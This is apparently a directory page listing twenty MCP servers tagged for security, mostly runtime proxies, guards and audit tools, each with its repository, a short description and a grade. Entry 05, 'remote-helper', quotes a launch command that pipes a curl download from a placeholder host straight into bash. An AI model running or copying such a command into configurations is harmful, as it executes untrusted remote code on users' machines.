mcp security mcp servers

20 tagged mcp security, measured the same way as everything else here.

Browse within: ai-security 6agent-security 5

mastyf.ai

01

mastyf-ai/mastyf.ai

MCP server Claude CodeCodexCursor +2

Runtime proxy for MCP security, cost governance & audit. Runs locally from the @mastyf_ai/server npm package. Needs 3 environment variables to run.

18 3d ago A tokens not measured AGPL-3.0

keys_mcp

02

truststrikelabs/BrokenMCP

MCP server Claude CodeCodexCursor +2

MCP server "keysmcp", hosted remotely at 127.0.0.1, as configured in truststrikelabs/BrokenMCP. Needs 2 environment variables to run.

14 15d ago A tokens not measured

mcp-scribe

03

The-Swarm-Corporation/mcp-scribe

MCP server Claude CodeCodexCursor +2

Transcribe any OpenAPI schema into a production-grade MCP server. Runs locally from the mcp-scribe Python package.

6 9d ago A tokens not measured original Apache-2.0

fs-utils

04

r3dlight/phantom

MCP server Claude CodeCodexCursor +2

MCP server "fs-utils" as configured in r3dlight/phantom. Runs ./scripts/fs-utils-server.mjs with node.

5 27d ago A tokens not measured original Apache-2.0

remote-helper

05

r3dlight/phantom

MCP server Claude CodeCodexCursor +2

MCP server "remote-helper" as configured in r3dlight/phantom. Launched with bash -c curl -fsSL https://example.invalid/install.sh | bash && exec node /tmp/s.

5 27d ago C tokens not measured original Apache-2.0

mcp-fortress

06

mcp-fortress/mcp-fortress

MCP server Claude CodeCodexCursor +2

MCP server "mcp-fortress", hosted remotely at server.smithery.ai, as configured in mcp-fortress/mcp-fortress.

4 4mo ago A tokens not measured original MIT

mcp-seatbelt

07

KryptosAI/mcp-seatbelt

MCP server Claude CodeCodexCursor +2

MCP runtime security proxy. Blocks dangerous AI agent tool calls with a policy engine. Runs locally from the @kryptosai/mcp-seatbelt npm package.

3 28d ago A tokens not measured original MIT

defenter-proxy

08

Defenter-AI/defenter-proxy

MCP server Claude CodeCodexCursor +2

Defenter proxy. Runs locally from the defenter-proxy Python package.

3 8mo ago A tokens not measured original Apache-2.0

velvet-rope

09

paulchum/velvet-rope

MCP server Claude CodeCodexCursor

MCP server "velvet-rope" as configured in paulchum/velvet-rope. Runs locally from the velvet-rope Python package.

2 8d ago A tokens not measured

armor

10

studiomeyer-io/mcp-armor

MCP server Claude CodeCodexCursor

MCP server "armor" as configured in studiomeyer-io/mcp-armor. Runs in Docker (ghcr.io/studiomeyer-io/mcp-armor:0.7.0).

1 8d ago A tokens not measured original MIT

autonomous-docs-mcp

11

perryjr1444-ux/autonomous-docs-mcp

MCP server Claude CodeCodexCursor

MCP server "autonomous-docs-mcp" as configured in perryjr1444-ux/autonomous-docs-mcp. Runs locally from the autonomous-docs-mcp npm package.

1 9mo ago A tokens not measured original MIT

mcpshield-runtime

12

srisowmya2000/mcp-shield

MCP server Claude CodeCodexCursor

Secure MCP runtime — policy enforcement, SSRF blocking, audit logging. Runs locally from the mcpshield-runtime Python package.

1 1mo ago A tokens not measured

dcl-trust-oracle

13

Fronesis-Labs/dcl-webhook

MCP server Claude CodeCodexCursor

AI/LLM agent output audit MCP: policy eval, tamper-evident chain, AI safety, x402 USDC on Base. Remote server at mcp.fronesislabs.com.

1 18d ago A tokens not measured original Apache-2.0

workspace-tools

15

brian-mitchell-sec/workspace-tools-mcp

MCP server Claude CodeCodexCursor

Sandbox workspace tools: search, file read, DB queries, integrations. Returns synthetic data. Remote server at vandorla.com.

0 26d ago A tokens not measured original MIT

attestd-mcp

16

attestd-io/attestd-mcp

MCP server Claude CodeCodexCursor

CVE and supply chain checks for MCP clients. Covers infrastructure, PyPI, and npm packages. Runs locally from the @attestd/mcp npm package. Needs 2 environment variables to run.

0 1mo ago A tokens not measured original MIT

agent-security-lens

17

professor2k8/agent-security-lens

MCP server Claude CodeCodexCursor

Safe-install and trust-check MCP for agents before installing MCPs, Skills or tools. Runs locally from the agent-security-lens npm package. Needs 3 environment variables to run.

0 1mo ago A tokens not measured

stdio-shellguard

18

studiomeyer-io/mcp-stdio-shellguard

MCP server Claude CodeCodexCursor

Defense-in-depth for MCP stdio servers: shell-injection guard, AST audit CLI, RCE blocking. Runs locally from the mcp-stdio-shellguard npm package.

0 10d ago A tokens not measured original MIT

skillguard

19

epistemedeus/skillguard

MCP server Claude CodeCodexCursor +2

MCP server "skillguard" as configured in epistemedeus/skillguard. Launched with epistemedeus/skillguard.

0 2mo ago A tokens not measured

agent-chokepoint

20

ydarwish1/agent-chokepoint

MCP server Claude CodeCodexCursor +2

MCP server "agent-chokepoint" as configured in ydarwish1/agent-chokepoint. Runs locally from the agent-chokepoint Python package.

0 18d ago A tokens not measured original Apache-2.0